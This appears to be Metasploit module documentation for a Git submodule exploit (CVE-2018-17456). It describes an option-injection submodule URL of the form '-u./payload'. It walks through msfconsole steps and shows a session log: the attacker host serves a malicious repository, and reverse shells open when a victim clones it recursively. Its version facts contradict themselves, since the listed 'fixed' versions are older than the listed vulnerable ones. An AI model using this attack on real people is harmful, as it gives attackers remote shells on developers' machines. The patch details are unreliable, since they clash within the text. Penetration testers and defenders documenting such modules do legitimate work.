Tim W
3.1 KiB
Description
This module exploits CVE-2018-17456, which affects Git versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower.
When a submodule url which starts with a dash e.g "-u./payload" is passed as an argument to git clone, the file "payload" inside the repository is executed.
This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised (e.g git clone --recurse-submodules URL)
Vulnerable Application
Git can be installed on a variety of operating systems, however newer versions will contain the patch for this vulnerability.
On OSX it can be installed with the XCode command line tools:
xcode-select --install
On Linux it can be installed with apt:
sudo apt-get update && sudo apt-get install git
You can check the version with git --version.
The fix is included in the following version:
2.7.6, 2.8.6, 2.9.5, 2.10.4, 2.11.3, 2.12.4, 2.13.5, 2.14.1
Verification Steps
Example steps in this format:
- Install the application
- Start msfconsole
- Do:
use exploit/multi/http/git_submodule_url_exec - Do:
set LHOST [local host] - Do:
exploit - Clone the malicious Git URI and its submodules (e.g
git clone --recurse-submodules GIT_URL) - You should get a shell
Options
GIT_URI
This is the URI the git repository will be hosted from (defaults to random).
GIT_SUBMODULE
This is the URI of the submodule within the git repository (defaults to random). The url of this submodule, when cloned, will execute the payload.
Scenarios
msf5 > use exploit/multi/http/git_submodule_url_exec
msf5 exploit(multi/http/git_submodule_url_exec) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf5 exploit(multi/http/git_submodule_url_exec) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.0.1:4444
msf5 exploit(multi/http/git_submodule_url_exec) > [*] Using URL: http://0.0.0.0:8080/yaDlXuHVnRMMYGQ
[*] Local IP: http://192.168.0.1:8080/yaDlXuHVnRMMYGQ
[*] Server started.
[*] Malicious Git URI is http://192.168.0.1:8080/ogkvs.git
[*] Command shell session 1 opened (192.168.0.1:4444 -> 192.168.0.1:41034) at 2018-10-18 12:41:40 +0000
[*] Command shell session 2 opened (192.168.0.1:4444 -> 192.168.0.1:41036) at 2018-10-18 12:41:41 +0000
On the victim side:
git clone --recurse-submodules http://192.168.0.1:8080/ogkvs.git
Cloning into 'ogkvs'...
Submodule 'lfr:lr' (-u./rDwoZ) registered for path 'lfr:lr'
Cloning into 'lr'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
fatal: clone of '-u./rDwoZ' into submodule path 'ogkvs/lfr:lr' failed
Failed to clone 'lfr:lr'. Retry scheduled
Cloning into 'lr'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
fatal: clone of '-u./rDwoZ' into submodule path 'ogkvs/lfr:lr' failed
Failed to clone 'lfr:lr' a second time, aborting